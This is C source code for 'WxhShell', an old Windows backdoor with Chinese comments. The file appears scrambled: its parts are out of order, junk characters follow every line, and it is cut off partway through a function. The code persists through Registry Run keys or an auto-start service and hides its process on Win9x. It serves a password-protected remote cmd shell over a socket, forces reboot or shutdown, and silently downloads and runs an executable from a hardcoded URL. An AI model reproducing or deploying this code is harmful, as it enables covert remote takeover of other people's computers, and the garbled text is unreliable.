    if(Boot(SHUTDOWN)) OA[fQH#{lX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5`::#[  
    else { }=u#,nDl>$  
    closesocket(wsh); ?MvL}o\|  
    ExitThread(0); `?"r\Qo<  
    } !0v3Lu ~j  
    break; $3eoZ1q'U-  
    } VpED9l]y  
  // 获取shell ]qEg5:yY  
  case 's': { Bc<pD?uOK  
    CmdShell(wsh); ?0 7}\N0~  
    closesocket(wsh); q 'uGB fE.  
    ExitThread(0); LO38}w<k  
    break; hF5(1s}e$  
  } LK>;\BRe?  
  // 退出 &Cr4<V6-q  
  case 'x': { Z55C4F5v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &=wvlI52`  
    CloseIt(wsh); }8`>n4  
    break; >g{b'Xx  
    } /!*=*  
  // 离开 0sF|Y%N  
  case 'q': { Qzv&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zbvV:9N  
    closesocket(wsh); -Q%Pg<Q-#  
    WSACleanup(); SES-a Mi3  
    exit(1); Na+h+wD.D  
    break; !y$+RA7\  
        } "2PT]!  
  } !;Pp)SRzKG  
  } JX#0<U|L  
.(yJ+NU  
  // 提示信息 nB4+*=$E+-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #jPn7  
} caV DV  
  } cV4Y= &  
Fn{Pmo*rs  
  return; lZ) qV!<  
} U7-*]ik  
f#gV>.P;h\  
// shell模块句柄 `A8ErfA  
int CmdShell(SOCKET sock) sR)jZpmC(  
{ 9d!mGnl  
STARTUPINFO si; nt%p@e!,  
ZeroMemory(&si,sizeof(si)); Hv%$6,/*v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V$dhiP z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BW"24JhF"  
PROCESS_INFORMATION ProcessInfo; #IU^(W  
char cmdline[]="cmd"; 6S0Gjekr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A!R'/m'VG  
  return 0; c Ze59  
} kX+98?h-C  
mo&9=TaG  
// 自身启动模式 `^h:} V  
int StartFromService(void) q*cEosi'F?  
{ r^ABu_u(`I  
typedef struct 0: B%,n UM  
{ wGx H  
  DWORD ExitStatus; sFsf~|  
  DWORD PebBaseAddress; Xx\,<8Xn  
  DWORD AffinityMask; e -b>   
  DWORD BasePriority; s3 VD6xi7  
  ULONG UniqueProcessId; 2)-4?uz~  
  ULONG InheritedFromUniqueProcessId; ?MS!t6  
}   PROCESS_BASIC_INFORMATION; {P )O#  
QH?sx k2  
PROCNTQSIP NtQueryInformationProcess; -x|!?u5F  
K \.tR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A,3qjd,$ c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i>dFpJ  
)g KC}_h=  
  HANDLE             hProcess; )RQQhB  
  PROCESS_BASIC_INFORMATION pbi; pX1Us+%  
)c532 y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J5Ti@(G5V  
  if(NULL == hInst ) return 0; FOjX,@x&  
n+nZ;GJ5d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iU(B#ohW"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %.HLO.A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '~1Zr uO  
nC)"% Sa  
  if (!NtQueryInformationProcess) return 0; WuTkYiF  
L$y~\1-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z";(0%  
  if(!hProcess) return 0; W{~ y< `D  
VmRfnH"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9mjJC  
m7i(0jd +  
  CloseHandle(hProcess); }{Ra5-PY  
0f_A"K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kO$n0y5e  
if(hProcess==NULL) return 0; ab]Q1kD  
hFxT@I~  
HMODULE hMod; <`wOy [e  
char procName[255]; 7 NnXt'  
unsigned long cbNeeded; z#GSt ZT  
;<"V}, C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0Gu?;]GSv  
k"%sdYkb!  
  CloseHandle(hProcess); >qmNT/  
G\^<MR|  
if(strstr(procName,"services")) return 1; // 以服务启动 O- LwX >  
M}q;\}  
  return 0; // 注册表启动 Y/T-q<ag8  
} PWkSl  
c;zk{dP   
// 主模块 |nGv:= H@  
int StartWxhshell(LPSTR lpCmdLine) |$~]|SK  
{ -)R =p"-w  
  SOCKET wsl; Oqq' r"S  
BOOL val=TRUE; ze21Uj1x*  
  int port=0; hMUUnr"8;i  
  struct sockaddr_in door; -= izu]Fb,  
$1Zr.ERL|(  
  if(wscfg.ws_autoins) Install(); =%s6QFR  
}w-M .  
port=atoi(lpCmdLine); R~fk/T?  
YHMJ5IM@.  
if(port<=0) port=wscfg.ws_port; q03+FLEfC  
# s7e/GdKb  
  WSADATA data; xvomn`X1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p1 ("  
IM5[O}aq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g:GywX W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZSyXzop  
  door.sin_family = AF_INET; bbDm6,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iyXd"O  
  door.sin_port = htons(port); &xGpbJG  
#M5d,%?+#[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5?([jAOf  
closesocket(wsl); w~Nat7nD  
return 1; Cpy&2o-%v  
} }X/YMgJ  
_6'@#DN  
  if(listen(wsl,2) == INVALID_SOCKET) { 5HE5$S  
closesocket(wsl); =6'bGC%c  
return 1; P ?n k>  
} gsl_aW!  
  Wxhshell(wsl); ;%^{Zybh  
  WSACleanup(); jzBW'8  
_*b`;{3  
return 0; jicH94#(]  
.GL@`7"  
} S ?J(VJqE  
`"<hO 'WU  
// 以NT服务方式启动 lP*=4Jh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `AvK=]  
{ 99CK [G  
DWORD   status = 0; sLXM$SMBh  
  DWORD   specificError = 0xfffffff; F w t  
c\&;Xr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rK`^A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *<6dB#' J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0C  K  
  serviceStatus.dwWin32ExitCode     = 0; *c&OAL]  
  serviceStatus.dwServiceSpecificExitCode = 0; WWH<s%C  
  serviceStatus.dwCheckPoint       = 0; <5P*uZ  
  serviceStatus.dwWaitHint       = 0; tE <?L  
Ei\>gXTH1-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l&:8 'k+%=  
  if (hServiceStatusHandle==0) return; c_?^:xs:d  
,2+d+Zuh  
status = GetLastError(); UUb0[oy  
  if (status!=NO_ERROR) |5X59! JL  
{ xXa4t4gR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T?6<1nU)  
    serviceStatus.dwCheckPoint       = 0; $#2<f 6  
    serviceStatus.dwWaitHint       = 0; FQ`1c[M@  
    serviceStatus.dwWin32ExitCode     = status; !H{>c@i  
    serviceStatus.dwServiceSpecificExitCode = specificError; Oh>hy Y)}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @)vQ>R\k<  
    return; "@/pQoLy  
  } `~"'\Hw  
:@ VCKq!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $xq04ejJ  
  serviceStatus.dwCheckPoint       = 0; 5?? }9  
  serviceStatus.dwWaitHint       = 0; n;$u%2t2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yWE\)]9  
} D .LR-Z  
[@8po-()L  
// 处理NT服务事件,比如:启动、停止 kWy@wPqms  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b-#lKW so  
{ D6+3f #k6  
switch(fdwControl) 4z26a  
{ a?8)47)  
case SERVICE_CONTROL_STOP: v+`'%E  
  serviceStatus.dwWin32ExitCode = 0; .XiO92d9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vyB{35p$  
  serviceStatus.dwCheckPoint   = 0; (v|<" tv  
  serviceStatus.dwWaitHint     = 0; \_6  
  { 75R#gQ]EV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +`>E_+Mp  
  } (C"q-0?n  
  return; Xw<;)m  
case SERVICE_CONTROL_PAUSE: &=$f\O1Ty  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dj'?12Onu=  
  break; KG9-ac  
case SERVICE_CONTROL_CONTINUE: _~ei1 G.R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O! XSU,  
  break; W*#5Sk  
case SERVICE_CONTROL_INTERROGATE: -C}"1|P!  
  break; ?A_+G 5  
}; 5|N`:h'9M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Jq('@  
} o$Nhx_F  
OdY9g2y#m  
// 标准应用程序主函数 3o/f, }_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R){O]<+  
{ 8>6<GdGL<n  
&FT`z"^  
// 获取操作系统版本 VP^Yf_  
OsIsNt=GetOsVer(); Z f<T`'_d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =>tkc/aa  
b7I0R; Zj  
  // 从命令行安装 ;v2eAe@7  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0)~c)B:5  
i20y\V os?  
  // 下载执行文件 knph549  
if(wscfg.ws_downexe) { N[Ei%I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rxyeix  
  WinExec(wscfg.ws_filenam,SW_HIDE); JS%LJ _J  
} w5~j|c=_W  
-l[$+Kw1S  
if(!OsIsNt) { "-dA\,G  
// 如果时win9x,隐藏进程并且设置为注册表启动 q>>1?hzA  
HideProc(); cc_'Kv!  
StartWxhshell(lpCmdLine); ~LV]cX2J(  
} >dm9 YfQ  
else Q1x&Zm1v  
  if(StartFromService()) oVn&L*H   
  // 以服务方式启动 Wkjp:`(-$r  
  StartServiceCtrlDispatcher(DispatchTable); .Wy'  
else PuGs%{$(h  
  // 普通方式启动 f+n {9Hz  
  StartWxhshell(lpCmdLine); ~wv$uL8y  
E?P>s T3B  
return 0; 5V =mj+X?  
} r~ f;g9I  
n5.sx|bI?  
xsJXf @  
6vE#$(n#a&  
=========================================== DwGM+)!  
R#;xBBt8  
Y:,C_^$w;  
w)@Wug  
S\:+5}  
1 Ga3[ g  
" Z@&%"nO  
tUc<ExvP,  
#include <stdio.h> M."/"hV`-  
#include <string.h> ([>__c/Nd  
#include <windows.h> Y)pop :y t  
#include <winsock2.h> ]j6pd*H  
#include <winsvc.h> )lS04|s  
#include <urlmon.h> `Ng Q>KV!  
?#(LH\$l_  
#pragma comment (lib, "Ws2_32.lib") ]k7%p>c=B  
#pragma comment (lib, "urlmon.lib") 37a1O>A  
z+6PVQ  
#define MAX_USER   100 // 最大客户端连接数 A-=hvJ5T  
#define BUF_SOCK   200 // sock buffer WH1 " HO  
#define KEY_BUFF   255 // 输入 buffer C5I7\9F)  
iO?^y(phC  
#define REBOOT     0   // 重启 C12V_)~2  
#define SHUTDOWN   1   // 关机 |/n7(!7$[v  
Ti_G  
#define DEF_PORT   5000 // 监听端口 \X %FM"r  
``VE<:2+  
#define REG_LEN     16   // 注册表键长度 i.)n#@M2  
#define SVC_LEN     80   // NT服务名长度 !<=zFy[J.9  
jmaw-Rx  
// 从dll定义API Jk&!(YK&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pY )x&uM!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z`E=V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K2xHXziQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); : q%1Vi  
<iU@ M31  
// wxhshell配置信息 np6G~0Y`  
struct WSCFG { 2v4K3O60G  
  int ws_port;         // 监听端口 } f&=}  
  char ws_passstr[REG_LEN]; // 口令 Zf!Q4a"  
  int ws_autoins;       // 安装标记, 1=yes 0=no r2.w4RMFua  
  char ws_regname[REG_LEN]; // 注册表键名 klFS3G  
  char ws_svcname[REG_LEN]; // 服务名 sV{\IgH/x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "D_:`@V(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 59l9_yFJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a4~B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1Xm>nF~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ( s4W&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (E00T`@t0i  
Ru*gbv,U  
}; Pm)*zdZ8  
87l*Y|osP  
// default Wxhshell configuration )/)u.$pi  
struct WSCFG wscfg={DEF_PORT, W#P\hx  
    "xuhuanlingzhe", [ R+M .5  
    1, {zm8`  
    "Wxhshell", @U5gxK*  
    "Wxhshell", 9]IZ3 fQX  
            "WxhShell Service", z!bT^_Cc0  
    "Wrsky Windows CmdShell Service", hwXsfh |  
    "Please Input Your Password: ", |w*s:p  
  1, Fd<Ouyxqe  
  "http://www.wrsky.com/wxhshell.exe", mL`8COA  
  "Wxhshell.exe" ,IboPh&Q78  
    }; |LQ%sV  
Z@Q*An  
// 消息定义模块 LS<+V+o2%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k"DZ"JC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CA`V)XIsP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }O@>:?U  
char *msg_ws_ext="\n\rExit."; GyQFR?  
char *msg_ws_end="\n\rQuit."; /K&9c !]$C  
char *msg_ws_boot="\n\rReboot..."; O5p$ A @  
char *msg_ws_poff="\n\rShutdown..."; ~s HdOMw  
char *msg_ws_down="\n\rSave to "; ky[Cx!81C  
oOI0q_bf  
char *msg_ws_err="\n\rErr!"; z[_Y,I  
char *msg_ws_ok="\n\rOK!"; ]i`Q+q[  
C$+Q,guM  
char ExeFile[MAX_PATH]; 0O`Rh"O  
int nUser = 0; Z!|r>  
HANDLE handles[MAX_USER]; N^oP,^+U  
int OsIsNt; HLPRTta.  
%pjeA[-m#  
SERVICE_STATUS       serviceStatus; jH<Sf: Y(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SEzjc ~@3  
,ESli/6  
// 函数声明 f]%S FQ+  
int Install(void); G2I%^.s  
int Uninstall(void); dNt^lx  
int DownloadFile(char *sURL, SOCKET wsh); xtv%C  
int Boot(int flag); #?S"y:  
void HideProc(void); .cs x"JC  
int GetOsVer(void); e Fz$h2*B  
int Wxhshell(SOCKET wsl); 4_QfM}Fyp  
void TalkWithClient(void *cs); t.;._'  
int CmdShell(SOCKET sock); =T2SJ)  
int StartFromService(void); aanS^t0  
int StartWxhshell(LPSTR lpCmdLine); oz=ULPZ%  
7_s+7x =  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B(s^(__]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8TB|Y  
m"Mj3Z:  
// 数据结构和表定义 8h=m()Eu  
SERVICE_TABLE_ENTRY DispatchTable[] = oZY|o0/9  
{ Ss 5@n  
{wscfg.ws_svcname, NTServiceMain}, = >TU  
{NULL, NULL} 56s%Qlgx  
}; )JTQZ,f3]  
nD eVYK  
// 自我安装 Het"x  
int Install(void) oA-,>:}g{  
{ cb)7$S  
  char svExeFile[MAX_PATH]; ,iao56`E  
  HKEY key; |-S!)iG1V  
  strcpy(svExeFile,ExeFile); *> nOL  
bskoi;)u  
// 如果是win9x系统,修改注册表设为自启动 p#P<V%  
if(!OsIsNt) { Sq,>^|v4&e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #b428-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1ds4C:M+<  
  RegCloseKey(key); 4pT^ *  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MFa/%O_*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zC)JOykI%  
  RegCloseKey(key); (,o@/ -o  
  return 0; |T"vF`Kr(>  
    } /"La@M37  
  } W3UxFs]$  
} <]G'& iv>  
else { "A Bt  
T_Tu>wQX  
// 如果是NT以上系统,安装为系统服务 !~?/D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "0PsCr}!  
if (schSCManager!=0) P2jh[a%  
{ dcmf~+T  
  SC_HANDLE schService = CreateService =6ru%.8U,  
  ( 1gBLJ0q  
  schSCManager, jcj8w  
  wscfg.ws_svcname, &UnhYG{A  
  wscfg.ws_svcdisp, [5IbR9_  
  SERVICE_ALL_ACCESS, Co(N8>1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wm-$l  
  SERVICE_AUTO_START, F%p DF\  
  SERVICE_ERROR_NORMAL, ["&{^  
  svExeFile, }Em{?Hqy  
  NULL, 00i MU  
  NULL, H:hM(m0?q  
  NULL, D mi.@.  
  NULL, qVfn(rZ  
  NULL HM)D/CO,?  
  ); )s:kQ~+  
  if (schService!=0) |0}Xb|+  
  { T\p>wiY2|F  
  CloseServiceHandle(schService); `!N}u  
  CloseServiceHandle(schSCManager); /hqn>t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z_bVCe{  
  strcat(svExeFile,wscfg.ws_svcname); VS ECD;u4c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uZL,%pF3A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K!9K^h  
  RegCloseKey(key); U'F}k0h?\'  
  return 0; dO2?&f  
    } <S7SH-{_\  
  } j$_?g!I=gK  
  CloseServiceHandle(schSCManager); q 6UZ`9&z  
} lbt8S.fx  
} D1-w>Y#  
pm=O.)g4`  
return 1; R2~y<^.V`Y  
} 5>%^"f  
U`3?bhzua  
// 自我卸载 x^)?V7[t  
int Uninstall(void) xa'U_]m  
{ J/Y9X ,  
  HKEY key; 55.2UN  
,sc#l<v  
if(!OsIsNt) { GFPrK9T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q['D?)sy  
  RegDeleteValue(key,wscfg.ws_regname); {9Qc\Ij  
  RegCloseKey(key); -6-rX D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QChWy`x  
  RegDeleteValue(key,wscfg.ws_regname); p2l@6\m\  
  RegCloseKey(key); p<dw  C"z  
  return 0; S[9b I&C  
  } -eK0 +beQ  
} ] +%`WCr9  
} eSObOG/  
else { vA:ZR=)F  
9A4n8,&sm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v `/nX->  
if (schSCManager!=0) cu?6\@cD  
{ *>qc6d@'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z ;~%!  
  if (schService!=0) viU}  
  { B=>Xr!pM!  
  if(DeleteService(schService)!=0) { lt4IoE`tk?  
  CloseServiceHandle(schService); 1yF9zKs&_  
  CloseServiceHandle(schSCManager); Y9f7~w^s  
  return 0; `UzH *w@e  
  } ,^mEi  
  CloseServiceHandle(schService); y~]D402Cx  
  } zF FYl7]  
  CloseServiceHandle(schSCManager); " w V  
} 3)>re&  
} X$u l=iBs  
y'2w*?  
return 1; "'``O~08/  
} r%=a:GdAg  
AFsieJ  
// 从指定url下载文件 6@# =z  
int DownloadFile(char *sURL, SOCKET wsh) +|S)Mm8-  
{ BR@gJ(2  
  HRESULT hr; LC=M{\  
char seps[]= "/";  K%%Ow  
char *token; 3`SH-"{j%  
char *file; /KnIU|;  
char myURL[MAX_PATH]; o-_,l J7o^  
char myFILE[MAX_PATH]; *$VeR(QN  
'.pGkXyQ  
strcpy(myURL,sURL); ]5*H/8Ke7  
  token=strtok(myURL,seps); -ys/I,}<  
  while(token!=NULL) #gWok'ZcR  
  { rLD1Cpeb,w  
    file=token; @~$=96^  
  token=strtok(NULL,seps); {c?{M.R  
  } ^|h_[>  
2.);OFk+  
GetCurrentDirectory(MAX_PATH,myFILE); 7?k3jDK  
strcat(myFILE, "\\"); W=S^t_F  
strcat(myFILE, file); ^o C>,%7  
  send(wsh,myFILE,strlen(myFILE),0); qrOesSdc  
send(wsh,"...",3,0); j3w~2q"r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~IO'"h'w  
  if(hr==S_OK) U%1M?vT/  
return 0; $ta"Ug.z  
else h-Ks:pcR  
return 1; 1n2Pr'|s  
Bf^K?:r"V  
} ''9K(p6  
obbg# ,  
// 系统电源模块 SI6?b1;-:F  
int Boot(int flag) `{w|2 [C3  
{ c3fi<?0&|  
  HANDLE hToken; 2HE<WI^#h  
  TOKEN_PRIVILEGES tkp; Xeis_  
[=. iJ5,{2  
  if(OsIsNt) { 1GR|$E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &?@U_emLi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )knK'H(  
    tkp.PrivilegeCount = 1; ${ .:(z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #>CWee;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rjfWty%6pX  
if(flag==REBOOT) { mDwuJf8}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8EiS\$O-  
  return 0; P%[ { 'u  
} VWXyN  
else { gQhYM7NP{5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {Ho_U&<  
  return 0; x`wUi*G  
} 7PfNPz<4+  
  } a&mL Dh/  
  else { [UdJ(cGf  
if(flag==REBOOT) { t]3:vp5N]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3,#qt}8`  
  return 0; S>HfyZ&Pc  
} /NPx9cLW^  
else { J +Y?'"r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 's"aPqF?  
  return 0; 0 >(hiT y<  
} W1M Bk[:Q  
} 4ee-tKH  
0Iyb}  
return 1; '|tmmoY6a:  
} Frx_aGLH1  
:%fnJg(  
// win9x进程隐藏模块 SZxnYVY  
void HideProc(void)  HsG3s?*  
{ KxJDAP  
qw|B-lT{:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n%vmo f  
  if ( hKernel != NULL ) "0>AefFd#  
  { 6lr<{k7Nw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6: R1jF*eG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r5lPO*?Df  
    FreeLibrary(hKernel); Fkqw #s(T  
  } Aba%QQQ  
z+_d*\  
return; [w  FK!?  
} _lH:%E*  
JsX}PVuL  
// 获取操作系统版本 (c3O> *M  
int GetOsVer(void) ,k:>Z&:  
{ D#>d+X$  
  OSVERSIONINFO winfo; &xC5Mecb*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gazX2P[D  
  GetVersionEx(&winfo); _>t6]?*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ob)c0Pz  
  return 1; eY:jVYG(  
  else &]KA%Db2  
  return 0; `- 9p)@'8k  
} 3P'Wk|j  
zb!RfQ,  
// 客户端句柄模块 \%W"KLP  
int Wxhshell(SOCKET wsl) 0o@eE3^  
{ |t58n{V.O  
  SOCKET wsh; cGg ~+R2P  
  struct sockaddr_in client; m$'ZiS5  
  DWORD myID; -OgC.6  
]*rK;  
  while(nUser<MAX_USER) &x4|!" G  
{ 9PR?'X;4  
  int nSize=sizeof(client); '_n$xfH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0e'@Xo2e  
  if(wsh==INVALID_SOCKET) return 1; [GW;RjPE  
7X/B9Hee  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x)kp*^/  
if(handles[nUser]==0) YO.+ 06X  
  closesocket(wsh); 99Nm?$ g  
else `q y@Qo  
  nUser++; SQG9m2  
  } qHYoQ.ke  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oHethk  
) @f6  
  return 0; Hq <!&  
} l8DZ2cw]  
R36A_  
// 关闭 socket }SW>ysw'm  
void CloseIt(SOCKET wsh) [-=y*lx %g  
{ Jj+Hj[(@  
closesocket(wsh); u>03l(X6f  
nUser--; ^K'XlM`a  
ExitThread(0); #/>OW2Ny  
} 2J6(TrQ  
e yByAT~W,  
// 客户端请求句柄 #ChF{mh  
void TalkWithClient(void *cs) q+ 9c81b  
{ (;nh?"5  
{@X)=.Zf  
  SOCKET wsh=(SOCKET)cs; _s0;mvz'  
  char pwd[SVC_LEN]; X_wPuU%  
  char cmd[KEY_BUFF]; 6oR5q 4  
char chr[1]; p<(b^{EX  
int i,j; t "[2^2G  
!ac,qj7spa  
  while (nUser < MAX_USER) { Vfr.Yoy  
]RI+:f  
if(wscfg.ws_passstr) { mv`ND&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /Nd`eUn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JHsxaX;c  
  //ZeroMemory(pwd,KEY_BUFF); zW; sr.  
      i=0; 2Ni {fC?  
  while(i<SVC_LEN) { gp]T.ol  
&>Nw>V  
  // 设置超时 kfs[*ku  
  fd_set FdRead; Uj)`(}r  
  struct timeval TimeOut; zhC5%R &n/  
  FD_ZERO(&FdRead); SGLU7*sfd  
  FD_SET(wsh,&FdRead); C.=[K_  
  TimeOut.tv_sec=8; pb|,rLNZ  
  TimeOut.tv_usec=0; /E5>cqX4A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6Iv &c2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1>_2 =^[  
3m/XT"D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /,^AG2]( f  
  pwd=chr[0]; k:`yxxYIh  
  if(chr[0]==0xd || chr[0]==0xa) { .QM>^(o$Z  
  pwd=0; }m.45n/  
  break; ~:"//%M3l  
  } KyRcZ"  
  i++; /qPhptV  
    } ^qNr<Ye  
*skmTioj&  
  // 如果是非法用户,关闭 socket E Ks4N4k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M:.0]'[s5  
} t``q_!s}F  
"VQ7Y`,+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @`:z$52  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7SJtW`~  
3|1v)E  
while(1) { Qis/'9a  
[|APMMYK1  
  ZeroMemory(cmd,KEY_BUFF); \) g?mj^  
cFloaCz  
      // 自动支持客户端 telnet标准   9<1dps=c  
  j=0; )s>R~7  
  while(j<KEY_BUFF) { *f3? 0w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3 V0^v  
  cmd[j]=chr[0]; tE;c>=>t  
  if(chr[0]==0xa || chr[0]==0xd) { ")eY{C  
  cmd[j]=0; eDS,}Z'  
  break; 1HBXD\!  
  } :#Nrypsu  
  j++; Nu7lPEM  
    } %"BJW  
QJtO~~-  
  // 下载文件 %@Nu{?I  
  if(strstr(cmd,"http://")) { cP >[H:\Xc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a3SBEkC  
  if(DownloadFile(cmd,wsh)) Q-y`IPtA<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J*+[?FXRL  
  else Ew*SA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); irKM?#h  
  } rE9Nt9}  
  else { N<T@GQwkS  
`clp#l.ii  
